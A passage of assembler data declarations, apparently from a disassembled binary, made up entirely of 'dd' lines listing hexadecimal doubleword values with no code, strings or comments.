3A613020h, 887ED2DDh, 19F4BB1Ch, 909AF8C0h dd 16AC10BDh, 1E83B68h, 0DE6D8974h, 0C0C6631h, 49E026FCh dd 37021E2Dh, 8E9F0F18h, 0A27B0076h, 5F14FA38h, 6226F499h dd 0CC351C05h, 0DC615407h, 7451202Fh, 0A8F4A97Dh, 263FC2C0h dd 1643670h, 93860A8h, 0BE0CAC0h, 524D80D8h, 2317C0ACh dd 3ADF14Bh, 7D878629h, 57E292B4h, 9C0280C2h, 80CCD112h dd 80611621h, 53BB8D62h, 40000A3Fh, 0ADB34617h, 0BB356610h dd 7B01BC08h, 7D2FE16Fh, 0FE362067h, 7782958h, 4A8F82B7h dd 682D2BF0h, 89FD39EFh, 0B66D6060h, 5A02959Ch, 756FFCFh dd 44106833h, 0B36200C8h, 2C10AAEFh, 347D248Fh, 28A5825h dd 213F2550h, 0D8EB1536h, 0A94CE0F3h, 5087DECCh, 3360FCEFh dd 2C2F12h, 0BADC5799h, 0CABD1B11h, 80FBF83Ah, 0AD28743Fh dd 0F037892h, 0DE045238h, 99843716h, 7754301h, 6E5834AFh dd 305AB600h, 0ADCC484Fh, 65A700F7h, 6DBD1206h, 0A60F7F07h dd 20FDF157h, 2E64B011h, 32F500F3h, 0A3E659EBh, 36041F5Dh dd 8537D227h, 0D339BC80h, 0FAED0796h, 0B0F69FA1h, 0FC48F34h dd 5F3D9098h, 9C6581D2h, 8E38F17Ch, 611A888Bh, 0EE1FC021h dd 8CE8806Eh, 78E96C1Bh, 0D0315054h, 567901F5h, 67BE8555h dd 84308617h, 30785B3Dh, 0D428A44Eh, 900CCFFh, 370552B2h dd 5A1D4Bh, 0F5442F68h, 2E8A6D54h, 0BFAD7B00h, 0F26355B3h dd 407400EBh, 0E0CD07F0h, 0BB0308A0h, 0F7BAC395h, 5D3D806Fh dd 0B3FE1C9Ch, 0E98A7EB2h, 0DC2C37h, 3317E03Eh, 2600994Bh dd 7C7E6B9Eh, 3D01F7Ah, 61ABDBF7h, 5AB8BE3Bh, 452E9BEDh dd 803A3C72h, 2F0E4374h, 3B37E281h, 0D4808630h, 0CCCE24E4h dd 0A31DEBE3h, 0F804B4AAh, 0CC9025A0h, 0E10DA861h, 1483024h dd 66FC264Dh, 0ECAB8A3Ah, 0CDB808EAh, 8D004096h, 0D1FC4170h dd 37600D3h, 4E22EC73h, 0C5007F86h, 84B176Eh, 5E9068h dd 0EF679218h, 1D6B7796h, 1CDDD3Eh, 0F0571B6Dh, 7AD85F48h dd 0A2D500EFh, 7C7D662Ch, 4705BCC8h, 0D11CBA05h, 0C00A6383h dd 4843FE85h, 245CCCF3h, 0DC275800h, 16DD7B10h, 9ECDC138h dd 7B8D24h, 70C30BFCh, 77A96456h, 78B11C9Ch, 18BA80A3h dd 0DFA0E61Bh, 0FA30CD00h, 0CA1F08ABh, 0BB6C00B4h, 89507C34h dd 0C507275Bh, 6A28085h, 5F3D05C0h, 0F4282545h, 0B1337480h dd 7600293Fh, 22EEE317h, 18039942h, 501EDF15h, 20B03402h dd 0C4C248h, 6CE69077h, 0BA9AEBh, 0D620E5C7h, 70BC8DF9h dd 43485F0Eh, 429200D5h, 0A0A897EBh, 5C10B2h, 4B1BB17Ah dd 0E2297977h, 89AE8800h, 6685E402h, 450C00F7h, 975E314Eh dd 0F800C72Bh, 6CBB764Ch, 0ECB7205Ch, 621E007Ah, 3CDAE023h dd 54F4964Ah, 0B200A170h, 21E5D0FDh, 522D98h, 1FA92259h dd 4D820770h, 6C56CD13h, 6B44B400h, 0B4A071h, 6051047Eh dd 395A46E1h, 0C0BD9800h, 308A16B0h, 166B080h, 8582F4F9h dd 0E065EB81h, 60009176h, 0EDC17BCBh, 2CACC4E4h, 8070C5B4h dd 0A335ADEEh, 160047FAh, 0DB9FE4DAh, 7DEC40C1h, 511F1C7Bh dd 88881890h, 0EA3B66DAh, 2BE0060h, 0E8EFF75Bh, 30EC006Bh dd 0AD76F164h, 8902B817h, 7F513F12h, 268D4111h, 38808721h dd 0CA6F11Dh, 0E500B946h, 0FF227FAh, 0E9815Ch, 8C623E3Ah dd 0CFDAA76h, 8A067C00h, 49F513CBh, 6463004Dh, 0F2E57E11h dd 0A4120B52h, 0DC003ABBh, 421AF48Ah, 12540755h, 70377FAh dd 81E687B4h, 896B76E9h, 80EE4420h, 0AC2691E8h, 208F003Ch dd 0A5D55C2h, 0B21252C9h, 0F4C26D12h, 0FFDC41C8h, 7F01C4h dd 92CFBBDAh, 0F3E4F07Ch, 4C3D8D7Fh, 0CB840481h, 0F0E0D12Dh dd 7A802E15h, 9EF90293h, 57E08FE3h, 2A00A9CCh, 7CAE9BBBh dd 0AC951Fh, 0AAFB91D4h, 5909756Eh, 0BF207100h, 0D15C0634h dd 0DBB40035h, 8BE3DFE8h, 300701Ch, 978D8F5h, 1E4765h dd 0B7134E25h, 8FF645BCh, 30010F0h, 38D3A17Bh, 2E15B9h dd 4695AFA6h, 9D52F0D1h, 0DDFAAC00h, 318B0AA4h, 0AEE7001Ch dd 0E4BE3E2Ah, 0B6E8E38Fh, 3ADA8E06h, 30098AE8h, 8B407BB4h dd 0B009D9Ah, 0A84A7378h, 2D4DD17h, 0DA5D7DECh, 40C09B06h dd 2D00DC4Ch, 2FA81451h, 1D3B0241h, 40AA4366h, 195279D4h dd 447EEA5Fh, 6EE9E20Eh, 595CA04Dh, 9789A0h, 80CBA5E6h dd 5D1A26F1h, 13CABA00h, 0ABD2A3A4h, 82C33A87h, 0BFAF9h dd 0CA3D40A0h, 0FC8D9977h, 83B1FA03h, 0C39DB7E7h, 891BC1EEh dd 39952430h, 1A0091C0h, 437B0B36h, 0B7006D8Bh, 0A1423DC4h dd 0EC8C90C5h, 17E31871h, 0D8EEE820h, 0B369F300h, 0AC65EF0Ah dd 0E94613E0h, 0ECF88CCFh, 0B6150500h, 0FBC9A727h, 81FF024Eh dd 656743Bh, 67029C70h, 1897E5F6h, 2C786Eh, 0A4B649D8h dd 0EE050FACh, 8260CE00h, 1B506DE8h, 9FD000E0h, 0E64CF16Bh dd 2A024017h, 0DA518B37h, 60B08F4Fh, 9AADA4A9h, 21C0009Eh dd 0F11FE7FFh, 0A55E36DAh, 0CFBF0403h, 0E900A475h, 0DDF4148Eh dd 64789006h, 0E1829CDh, 0E3C093C9h, 51868C81h, 0DF318043h dd 0DF5BAD4h, 83781D94h, 0E872405h, 807FB4B7h, 68F9A313h dd 790C36C6h, 38F01D9Bh, 0C5AC0060h, 0C00BDEBEh, 0DC15D61Eh dd 0F840350h, 8CFF2F1Bh, 3B589Bh, 35FE435Eh, 18A2AEB3h dd 24A09D28h, 1FF8A41Ah, 8D440739h, 9B7DAB70h, 8C14A0B5h dd 77070014h, 0B048459Ah, 93306911h, 234D780Dh, 256406E5h dd 0B89976B9h, 98002D79h, 6A2273A0h, 4BA17F8h, 64555F62h dd 0C480A110h, 79036CD7h, 0A0AB3583h, 2F09259Bh, 0B0DC4400h dd 87004B6Ch, 0D2AA2AAh, 0BA2675h, 0B7CEC994h, 292EEEBBh dd 80B69939h, 358A110Bh, 341A9Dh, 17E93A68h, 0D680BA1Dh dd 19BC3F00h, 2007CFA5h, 61BB0013h, 14F39805h, 0E633DEB4h dd 381836h, 0A55E03F1h, 0A12A9A4Bh, 601D0C29h, 86600578h dd 5C293801h, 0EE9A1751h, 94B061BCh, 3567C469h, 460EB6E8h dd 4024F0D2h, 0C0041AE3h, 85840671h, 8016838Ah, 7C06B3E4h dd 974AC120h, 3FA603F0h, 7863A107h, 7FC7101Ch, 9E808E1Fh dd 0C0C246C4h, 9ACAA148h, 7395F7ECh, 0E82500BEh, 1B93A816h dd 0FCE77B42h, 4C009237h, 1DF38734h, 13C76913h, 0F04A61F4h dd 0C5023FFBh, 0D6FE3A9Dh, 0F35EC08Ah, 22F9003Bh, 3DEF7FAEh dd 0EB09D004h, 80AC2E54h, 0C3727D36h, 0E42C0090h, 679AE6C6h dd 0F2077F2Dh, 9C4CECC1h, 636C802Eh, 0B708C8h, 7A30CE62h dd 648C7227h, 0C12D18C0h, 0EE7F675h, 9FE1CD5Ch, 41004C8Fh dd 2FAD3A3h, 0F519C40Fh, 8C100E1Ah, 5E2144h, 25B1D3F8h dd 0CC40A52Dh, 26AD8200h, 0C38BDA53h, 782000E1h, 0F2BE51E4h dd 38C0A1F6h, 74F99F44h, 0D611C0CDh, 43362518h, 0F08CFB0Eh dd 8689AE77h, 7A209E15h, 0DA253E8Dh, 91B7980h, 3F6178E6h dd 0EF890338h, 8559A3C0h, 775100C9h, 7B9CE971h, 3F0DA574h dd 283708A3h, 80DCE091h, 2F1D3A4h, 221043ACh, 0AD610D45h dd 8838FFD3h, 0A66A848h, 0EFB1008h, 0B2E0D555h, 7033B50Ah dd 0D2A87D07h, 69B0A7FCh, 0C0CA1BF6h, 7766F228h, 9D3E81DFh dd 9EA9BE78h, 7BC053BAh, 2CA30FE1h, 77913h, 3F678AD9h dd 0F0EA2494h, 9E4AE00h, 0F8B94830h, 0E07797h, 5CA4505Fh dd 5A2FBAACh, 2BFF6514h, 7EA8BF04h, 0C4519807h, 32C0990Fh dd 0C0A45964h, 0BF458520h, 81E9A747h, 0C134CB10h, 0E0D117F7h dd 7464A770h, 217C61E1h dd 30CEDF5Dh, 0BE1D0F9Fh, 0CB41ED2Ch, 362D3DE8h, 817000C3h dd 0EC17FD57h, 590F115Fh, 0A602E19Bh, 37911480h, 0B75123CAh dd 0F47E702Fh, 390C71D5h, 49342261h, 6D32000Ch, 0ACDD58F2h dd 1560D66Eh, 5FFB0441h, 621DF852h, 8FB14948h, 60DF7887h dd 704B3295h, 0ACF069CFh, 70B9580Ch, 91030074h, 0D19B1241h dd 59060288h, 29F828FBh, 728B3AF1h, 0E756EA03h, 83C96704h dd 0A9618055h, 8D2E4108h, 0A75700F5h, 3FC7DDF0h, 2A003BC9h dd 60629F52h, 31CB01E9h, 83792C94h, 9CD9800Bh, 111D6175h dd 182104FAh, 156935h, 853854FFh, 46FC032Eh, 0D5F7397Eh dd 0DB50411Dh, 0C4333DC0h, 8AD49Bh, 863689C6h, 464DAFE6h dd 21669000h, 9902193Fh, 0FA812928h, 0C5561F98h, 4092422Eh dd 0C5BC6288h, 6839C79Bh, 0BB3E032Ch, 3FE47E8Dh, 9B0A579h dd 2A38ACB1h, 83B48C0h, 1F54D4E5h, 8381E37Ah, 0D00A2CA5h dd 516424A1h, 0F3490590h, 841D6900h, 0BA1F3AFAh, 29E4C5h dd 0AE7E4431h, 96E69A6Ch, 8A56A51Eh, 50E5714Ah, 5AB89980h dd 0F27639h, 73C6C5E4h, 83BC6034h, 69990861h, 12E02EB9h dd 4A754Ch, 796B75D5h, 0A37190ADh, 14953215h, 380300ACh dd 26167E8Bh, 8A39017Ah, 8D2CFC72h, 2249C504h, 7E7C7314h dd 0EAD38B00h, 53EFE3CBh, 4D0200B6h, 0BC32A58Ch, 92288AACh dd 2A00A86Ah, 6286BA93h, 78E921h, 33A5990Eh, 0E5AE513Bh dd 0FAAC6C01h, 815CC804h, 54FD49E8h, 0C1E81Fh, 69EEA040h dd 0AEFEF94Bh, 177F7900h, 0F454A75Eh, 0C9B20123h, 0BDE194AFh dd 0E0EBD0D6h, 0EB6F218h, 194B40h, 0F95AA4C5h, 0FCC17892h dd 738A4100h, 1E2309Ah, 0E49ACh, 495B4300h, 6FF0F96Ch dd 0CC0C9701h, 0B99BDE48h, 53E1C7C4h, 50E9C55h, 0E3C09492h dd 0F6247DACh, 0C923DA03h, 15AD8CD1h, 98AF4820h, 0F233D500h dd 0D0C3119Fh, 0D4B32500h, 2260175Bh, 0A0D4A80Fh, 0D6DC0BF8h dd 0EA00BA45h, 9055DAE2h, 9DE8AD48h, 62684440h, 9096B802h dd 0FC802044h, 0BB458413h, 0CFB85060h, 541D104Bh, 81AEC8EAh dd 0CCC13359h, 0D9EE0ADh, 548E5F24h, 442D8AC2h, 0DBD30E6Ch dd 0F4809B98h, 0F8EAAAB1h, 0E672C200h, 0BD938232h, 0A551065Dh dd 61A0499Dh, 0E2816902h, 4423BAA4h, 0DDAC2C44h, 0CDF180F0h dd 99D4D8A7h, 4B762E00h, 1E195586h, 95400CDAh, 27499D48h dd 0E1F4E700h, 0E0F6328Ah, 58240170h, 0BF95A703h, 33BAF0DFh dd 80606848h, 0E0372888h, 1332FC7Ah, 1D34B1h, 73E5836h dd 242462F6h, 236E640Ch, 982F1531h, 7B5F79ECh, 37EA0790h dd 0D02C7DE6h, 2071C1B2h, 8678174Ch, 0D10D2Dh, 0EDC8D32Fh dd 127E8935h, 62F30402h, 84F805BAh, 1D61BEC8h, 0BC17F0C1h dd 62FA448Ch, 0E5CEEC00h, 741813FBh, 33BB0037h, 6914F8E0h dd 19F64789h, 4CC49E3Eh, 8D604050h, 88B4F400h, 4375110Fh dd 37A7395Ah, 8055CA1Eh, 0F887040Ch, 580A8FE1h, 0F0BFBC50h dd 0C9C4051Ch, 6480CDEBh, 58FB0C9Dh, 1D874C83h, 741520ADh dd 0C124FA0Bh, 990BDC85h, 228C0201h, 8A60687Ch, 55DC13F0h dd 0AEC70074h, 67169C72h, 0B366A612h, 15505C04h, 58904809h dd 160027E6h, 902DDF9Ah, 4EC8AD1h, 22BE48B7h, 11674009h dd 3B552AA0h, 1C09DABBh, 0BC82EEEAh, 60C2C7FDh, 2A04D846h dd 8A63338Ch, 7931A643h, 11ACA118h, 39BE2029h, 0A08035D3h dd 0ED7A2FE8h, 0C97F9B51h, 0FCCDA600h, 558E5C73h, 0CC30E958h dd 0E89F89AEh, 0E4265ECCh, 0BF03FFDBh, 12908h, 22AFED59h dd 0A3A77FABh, 5EBECA0Bh, 0C5B42040h, 3C8FC46h, 0A6010AD5h dd 3900E4C9h, 42ABDBFh, 262DFB32h, 886515h, 0AC7F8F07h dd 39066654h, 967BD223h, 22BF3A58h, 3864ED10h, 2DFA9395h dd 0BE07A420h, 417E005Ch, 0EC983806h, 24A02F82h, 3101AA55h dd 0A7A372FEh, 99F26AE6h, 4D03618h, 0E5E33912h, 80A4A7A4h dd 80A59ED7h, 0D5E29313h, 0E623Bh, 0DC942961h, 9B6D407h dd 4CD05789h, 7180408Fh, 4A47EF09h, 31872500h, 23E71058h dd 0C51324DAh, 0A9B93034h, 9800FEFh, 7AD01440h, 45229CCBh dd 6123B0A0h, 5A11A165h, 26102CC6h, 1FA83FCCh, 2D340457h dd 0C5189001h, 601E1EDh, 4EC6BD8Ch, 899D5E4h, 0E4404171h dd 352E12E1h, 3432066h, 41C62Dh, 0F2B8D1F8h, 0F9F667AFh dd 0A8A538h, 0C2424181h, 91493ECDh, 1CAB0060h, 0DF838CF1h dd 0A804BD02h, 0C0E19A80h, 0A3EAB6FCh, 2FC5F0A4h, 5A435CB1h dd 7A9D2407h, 1DE14FE1h, 228D2870h, 0A8170060h, 2D6AB78Ah dd 32AD2E42h, 4E098020h, 9D0C9FFAh, 17C4F000h, 0B413EE25h dd 5BD9008Fh, 0C1453CD2h, 9A07AFECh, 0A4576FB6h, 636D1842h dd 1E20BBE1h, 2566808h, 0EC9315B3h, 424C8846h, 96DF00C0h dd 6AB4EFC8h, 84E243h, 0BC9726EBh, 0A7AE7FA5h, 4500F2B0h dd 18DD7A2Bh, 1857A9D8h, 0A9E6AF02h, 821F7C03h, 74400B50h dd 0C40C8132h, 0B856E6E2h, 6A8403E5h, 8B0D825Bh, 7C47BA98h dd 68F4780Fh, 0D8E79F8Ah, 0F9D4F551h, 628C0091h, 0BE410F92h dd 0A260FDAFh, 0D108B330h, 0B9273EF2h, 0BD0F723Ch, 50987D10h dd 0B2306495h, 0EF2D2849h, 0CB18C773h, 4B8A7041h, 4C00CDC5h dd 8CD70B6Ch, 6F453E4h, 1AA8FDA2h, 8F1861B9h, 0E9517785h dd 16200012h, 0D60518B2h, 0A1FE9153h, 73C4AF00h, 2DB9471Bh dd 0BA38C03Dh, 0F531AB79h, 0F81D4E00h, 0EFE83833h, 0B6920122h dd 51B27F0Dh, 0DD3D7080h, 8184113Bh, 33AAE1E9h, 0FCFC2A47h dd 1640ECDh, 7B608E4Ah, 7DB8A039h, 0F243E700h, 0F19E6D2Ch dd 0FD203A44h, 84036B3Fh, 0BAF68AB3h, 0AC74B129h, 0CA78038h dd 0C6FD0FA2h, 0BE3800D1h, 4F6EC3DDh, 0B70F0A01h, 6267EA42h dd 872A4E0Eh, 55076F8h, 1C52E71h, 0FD797519h, 0D80734ABh dd 23074233h, 0D5943B40h, 5E280CEh, 37399CBh, 4CBB438Eh dd 1800340Ah, 44ABE874h, 0E1280E3h, 0FFE00442h, 0AAEFC69Fh dd 110F1059h, 0E0242E10h, 2A097797h, 0CF08C696h, 7101205Bh dd 622430B3h, 31E01935h, 2505068Eh, 10EFADE3h, 0FE36F800h dd 0A3AA2EE7h, 0D9C231D0h, 80EECE08h, 0FE350720h, 1E068755h dd 8FF57810h, 6FC0B549h, 0B9442166h, 6AC933Bh, 0AAE9E79Eh dd 0AEE10059h, 99F3A01Dh, 0C901D37Dh, 9EAB1B49h, 6530E492h dd 0C4111804h, 2B0F69B8h, 0C118ED60h, 0FA93D568h, 0CC7400ABh dd 6B82958Ah, 730F6D26h, 0A0E4940Dh, 2DF96E85h, 4C05E64Bh dd 6068E21Bh, 0DE5D0A8Ch, 9F498080h, 0FA1F4E9Ch, 76E1F525h dd 81381BEEh, 0C5ECE780h, 0F7F87C13h, 0F6106607h, 321B246h dd 0EBEC645Bh, 1EA0CFF4h, 9E18A053h, 0E36901C8h, 0C1D666D5h dd 1309148Ah, 80B563D2h, 92251209h, 4BF50062h, 17C3101Dh dd 4F632DACh, 0E82934E9h, 6C0E2AA6h, 0E3487062h, 490055ECh dd 4E6EE95Eh, 5FDCF6h, 0DD7B8364h, 291A959h, 1C1A9C13h dd 0D9421C04h, 3D830898h, 0FF901D30h, 9FCEC879h, 402F9C10h dd 50D7B690h, 30089C5h, 0C9E7E635h, 39DB7C12h, 0AD9707A2h dd 2E030325h, 687BA7C8h, 4867E843h, 228FB523h, 0EA20D834h dd 2CBD2F1Ch, 0EE5E32h, 0E6F03697h, 0A201242Ch, 72652A2Bh dd 4420DACBh, 0D0C20391h, 0F50834AAh, 5EE5401Dh, 83E82EC0h dd 0C09F91D6h, 0A2737D78h, 0AB2CEFF0h, 22143010h, 9AB300B4h dd 3BBE2DE5h, 9C5148C6h, 0A855939h, 39BC1F1Bh, 5CB5CC20h dd 42CE486h, 0AC4EF290h dd 5898902Fh, 690072E3h, 8A3C67C7h, 0E5D9D3h, 80791A86h dd 6DB77B6Ch, 4C085B24h, 0C1CD9E80h, 2BC2D28h, 0E2ADD9E6h dd 8CA0D07Ch, 0B7E9714Bh, 6737C61Eh, 51802464h, 0F66D1D5Ah dd 0F18301B0h, 0C72C31A0h, 328080E7h, 61C87934h, 0D35B0062h dd 8FABEED5h, 0E493F605h, 66FE8B01h, 3C0EE22Eh, 50FE0E6Ah dd 8B30C09Bh, 0C4A8790h, 86E34801h, 0C430E089h, 218A51AFh dd 5F7EE08h, 73C2E536h, 16885418h, 900B6114h, 90256480h dd 4306BD1Ch, 4884ACFFh, 7425EF08h, 0F90B530h, 6313A508h dd 58301B69h, 2F393081h, 0E0244842h, 2E131Eh, 5C2839A3h dd 0D1925198h, 9028687Fh, 0D904B870h, 2BB158B3h, 99342520h dd 0B77CF303h, 4120F85h, 47C35CA9h, 5E2C81B1h, 541B604Dh dd 0D7538C05h, 0BC2323C9h, 0A0B94C75h, 4BD27602h, 14417162h dd 7E74F840h, 0AC447498h, 0FECD0A91h, 85B47B3Fh, 40075D58h dd 1AE4DFA8h, 51783ED3h, 2224EE01h, 0C69BB930h, 925896h dd 0A8E212F9h, 4C995DB7h, 2CEF1883h, 18F6827Ch, 58C0A8E4h dd 96EC617Ah, 50AE0029h, 37BF0F6Eh, 3C93C54Ah, 891A670Ch dd 0D37A06h, 0D03A56B3h, 8A85B237h, 20F10524h, 1BFE1AC0h dd 5A18FB21h, 1EB0440h, 484DFF08h, 2A92550Eh, 0A2C56EC2h dd 0A091C4D4h, 762E1B80h, 2DCE00F4h, 126AAB32h, 0E6143A01h dd 0A04CCAh, 7548F57h, 0F4A9981h, 0D53F2EF4h, 8A001408h dd 0C528B7C8h, 0C02232DAh, 8CA0E3C8h, 0A785DEBEh, 25EE3C00h dd 0F6A840F0h, 0F92C0074h, 0C6641DC5h, 9F2437D4h, 0FF933055h dd 26235C2Fh, 2E46CA00h, 2E9F902h, 6FCCD874h, 0C485F0Ch dd 0E4008211h, 0EE254CC5h, 78C68EFh, 9C12D06Ch, 0E2C9D0D2h dd 2C07AC2Eh, 33A2CAB2h, 0A044B682h, 4DD78AA4h, 9A71DE1h dd 2A140135h, 8F71109Eh, 0CF59BD92h, 6DC220F8h, 0D3B61Bh dd 0AB548447h, 0B4E7B8D7h, 5E0EC704h, 74C060DAh, 0FCFE55CAh dd 357E845h, 0DF99EC9Bh, 15F86AD9h, 0FF307D28h, 68E04081h dd 6C5600BEh, 99DCC81Bh, 0D1B0F361h, 7A00867Ah, 0CC2F539Ah dd 480EE7E8h, 1CC7F00Ah, 5BBD7290h, 0EB105E31h, 0B000904Bh dd 1C30B6A7h, 7F8EDFh, 15806268h, 9EAE6E89h, 0AC713F16h dd 0EF352404h, 0F12F1F30h, 77435FF6h, 0EC60D922h, 0C4050F54h dd 0D7F53B65h, 205971BBh, 55225AECh, 976310FBh, 2008FD5Ch dd 863E7880h, 6E3089A0h, 482AA226h, 3E5CC93Fh, 80EBA8E6h dd 0B889D724h, 3409B880h, 5C2F2667h, 73220C08h, 0C6B4E603h dd 0E9CA7Ah, 0A580E0E0h, 7C061205h, 17C7343Ch, 0A800C323h dd 1F2F85E8h, 1705F431h, 7F9ABE0h, 0F358FF6Ah, 18A6366Fh dd 12DAC60Ch, 4D5C5028h, 187B0C0Fh, 0F05F2650h, 9701CC1Bh dd 0B29C68BCh, 30240E20h, 8690D10h, 87E85D47h, 0C002636Eh dd 73D10417h, 88402722h, 32CE789h, 0B235AD09h, 410AF240h dd 84EC2EA4h, 0C104E094h, 0E87E82Ah, 6ABEAC8h, 2B6680BCh dd 1928D876h, 1D1FB8F0h, 2AC3FFACh, 0A1A4D7B0h, 68248F38h dd 314067D0h, 6DCF42B6h, 9CB37DE0h, 2E113F01h, 0F32D31B0h dd 2A5B43ECh, 18288712h, 19F1AAC2h, 2C2A36E0h, 0BD0CC03Dh dd 0A9426205h, 29A3E820h, 36059ACh, 4C887477h, 862CA802h dd 0BDE573h, 0A460F910h, 0F9058D0h, 800B6F66h, 19999FAEh dd 0CB13F677h, 0C82FA79h, 7CAF856Fh, 6484BDAAh, 0B81CC86Ch dd 39D0BC0Ch, 29421823h, 1E84CD2Ah, 46AC4C80h, 0D8050340h dd 0C627737Ch, 0B7A14804h, 2A33E83Ch, 0F85649C1h, 0D6E1715Bh dd 7E640038h, 9BAC5807h, 0EEBA1D06h, 1812959h, 3877BCE8h dd 0BDDA0820h, 96C70030h, 0FBE92D0Bh, 50EE50D9h, 25D13016h dd 872FC739h, 74ECB71Eh, 0CC4DD6CAh, 9950C981h, 109D42AFh dd 0C82880BFh, 1582D539h, 61BC8C52h, 9880E322h, 3B7A5F8h dd 645D19EAh, 56C038C1h, 63309CD0h, 9A1711A2h, 0AB151F27h dd 87100DEh, 9468AFD5h, 113069D4h, 7E00DAC4h, 4577F69Bh dd 3F553BB9h, 0F0FC00A0h, 6330296Bh, 0C47589E2h, 0C149185Bh dd 245D1036h, 6C02589Ah, 0F4BA440Ch, 0E2BC40FBh, 0A075FE62h dd 0EB09684h, 386EADDEh, 0B830929Ch, 9B840145h, 4F92295Fh dd 40357195h, 0C148ADF0h, 5F8C611h, 3B0247C8h, 0A208E725h dd 412C719Ch, 2761C410h, 83E3C851h, 517F7C62h, 50205465h dd 0BC985001h, 0A5848A36h, 2D908165h, 0B840806Eh, 0AD244B53h dd 73620C22h, 2CB0ABB9h, 0C166309h, 810A9F5h, 76040CA9h dd 7844C023h, 6D8E20E1h, 232B80F2h, 4E47125h, 38602F70h dd 21231DFEh, 444081Ah, 0FE1F0501h, 1DD43EC1h, 4901240Fh dd 0EAA480E8h, 53EBA0E8h, 0CFAC8500h, 11FA9B5Fh, 84C500F3h dd 1D168CEDh, 3B2668BDh, 916ACCCh, 2423542Fh, 93518900h dd 1DE847C5h, 81BB6EDAh, 8FD51CADh, 4AC040AAh, 0F1289974h dd 0DB099017h, 82768250h, 72095594h, 12A46D0h, 2112FE37h dd 0E80CAC02h, 1E06F9C0h, 0EEB27CFEh, 0F25F0050h, 0C6752386h dd 130560B7h, 0FF3CB174h, 241A3804h, 0F31D918h, 0EC944455h dd 6700CF33h, 0DDFADB9h, 0EC4215C2h, 7AF30074h, 7CFDE0B3h dd 14593E7Bh, 71072224h, 2DEF00F0h, 0AFACFED2h, 3B0A180Ah dd 0F8DB8193h, 89A8E204h, 0F20270A3h, 107C8AECh, 1B20001Ch dd 0BAB874EFh, 8C0136B9h, 80511342h, 2C65A2A3h, 40B31040h dd 1061614Eh, 0F8532E2Ah, 41007EDEh, 0AA723865h, 0A9415A4h dd 0CBBAA859h, 0F04F00EBh, 0C53F90B4h, 9F4B6900h, 6DAF0DB6h dd 0E04E00F7h, 523496C3h, 40002239h, 13A258D1h, 0ABC180h dd 69D2BA98h, 0FAFD9DB8h, 492CC2Bh, 23B99570h, 0F1639D33h dd 3989E0BFh, 8E0F8BEh, 0C722B8B6h, 70F1CBFh, 14FAFF08h dd 67311C17h, 8FBF09A0h, 15627038h, 0DAF87020h, 706CA63Eh dd 7B75210Ch, 0D93CD163h, 44EE5009h, 54C2318h, 78CC6974h dd 50B319BFh, 0D87F1C92h, 85871071h, 0B45059F9h, 60211809h dd 844EB97h, 5BF0460h, 80F0CA96h, 0C90B1944h, 2809A309h dd 0FB391701h, 89595E1h, 0A0700C09h, 6366E414h, 0F0159114h dd 409B18E2h, 80502CC5h, 0D1A13700h, 5CDE2970h, 2B4C2438h dd 1702011h, 0B0BF464Ah, 0E173B774h, 2109B44Bh, 0D8FC043Ah dd 1085C331h, 0B022E6E4h, 763F5E04h, 6928C0CBh, 0EB032118h dd 176AEC48h, 0C74103B8h, 2F77E03h, 247166D9h, 1519D260h dd 86380EFBh, 7C90698Dh, 6012F059h, 0D7C849C0h, 0FEA0C93h dd 0F9859B37h, 5DDD9222h, 5AE29500h, 2C0B3728h, 0BC080011h dd 872C0AE6h, 0FA18E632h, 3093E369h, 0AC480D74h, 1C00A555h dd 1D73F9D3h, 0C0B83CF2h, 0D7BF1508h, 0A40C88A2h, 0A0C6F3B0h dd 3CFE307Ah, 583D41A9h, 43087B63h, 4E80BFEFh, 0D9E49168h dd 0A44648C1h, 0DB0B3451h, 0A40D872Bh, 8BEDCEB0h, 0D8FF0E7Ah dd 28607122h, 9B0CF0BEh, 7EFD8000h, 8DBBD769h, 0E7E89851h dd 0CCB9D981h, 0C6E4DA33h, 0F0EB8C81h, 0E800DFD8h, 0B49AD914h dd 3099AC92h, 53899B1Fh, 5B78E2D5h, 0F60C7A00h, 38464EFFh dd 187B7167h, 28972C1Fh, 9814F779h, 286065F4h, 800088CAh dd 0B0BA0314h, 0E7394Fh, 0B4274D0Bh, 0F4969435h, 0E131856Ch dd 4608C19Ah, 0E2F8BABEh, 0DECAD040h, 579D6700h, 19C32A3h dd 66693EC4h, 0C6214830h, 7A0698B8h, 4FB9CE39h, 40831DA0h dd 4A3D4A68h, 41D309ACh, 811CF805h, 0F0DCED3Ah, 98A08F40h dd 667A6E6Bh, 2B38B348h dd 10B0A87Ah, 78DF6996h, 30E309EAh, 6023CB40h, 0C1017D90h dd 0FCF0A780h, 0B84A59AFh, 0C8EE8C10h, 24DD84FDh, 463200C7h dd 0E0691E18h, 79770045h, 51A214E9h, 0E001F396h, 7E0CC0EBh dd 7980AFFEh, 28732BE2h, 0B00085B4h, 4ADA5196h, 39EED3Bh dd 68B8FA66h, 0B48043FBh, 0E030E27Fh, 182DC87Dh, 6E95004Dh dd 493D5371h, 0CFB09701h, 7BFEA080h, 8070B9C0h, 0CABEF3C9h dd 16B8C010h, 15AC4207h, 948334C7h, 910EDD39h, 824B8BB3h dd 4A48616Eh, 6DD802F8h, 0A1874367h, 8C4A44E1h, 55EA4070h dd 0E641F57Dh, 0C71A0C23h, 1C823162h, 18404AB0h, 30931458h dd 4B59C986h, 852CA028h, 7D603C73h, 81404C50h, 4363C166h dd 0F1103D60h, 6E00B32Ch, 0E2903B4Bh, 240070A3h, 43158F62h dd 69761D87h, 8C984094h, 53066DCDh, 9E908C29h, 4D1D3119h dd 10B38329h, 99BA6DE5h, 0E2150458h, 9488817Ch, 0BE585033h dd 9C6490EFh, 8C60A890h, 0E9B85BB0h, 992D5100h, 0E689900Ch dd 806E6EE5h, 7C4EBEE3h, 0FD82B006h, 4860D596h, 4F0F8C74h dd 1DFD91FAh, 3B8F1F7Dh, 0B9E279E0h, 0E3377130h, 0F3D77120h dd 0F1E00299h, 0BFEA1097h, 0A87AB0A1h, 5C903439h, 0B09B602Ah dd 0ADB3CD07h, 0F860C8F0h, 0F31E5h, 0D9E8E2AAh, 948213F5h dd 0C7EDC24h, 0F8CEB15h, 869AB3Dh, 8775437Dh, 9149ACE0h dd 0FA88254h, 1E78524Ch, 8177D89Bh, 0BEAFCFB1h, 4EA60A8Ch dd 4C39B910h, 546182CCh, 466A1F8Ch, 0CBB7FC8h, 62BDFD52h dd 0BE7B2210h, 0BE253D3Dh, 86661498h, 76512298h, 0B51C07A6h dd 12F30BBBh, 4CC8D015h, 6F0093B1h, 0FC9B4A87h, 7CA92D0Dh dd 92C20582h, 419ACB85h, 0FEB1D388h, 0FCA6CD4Ah, 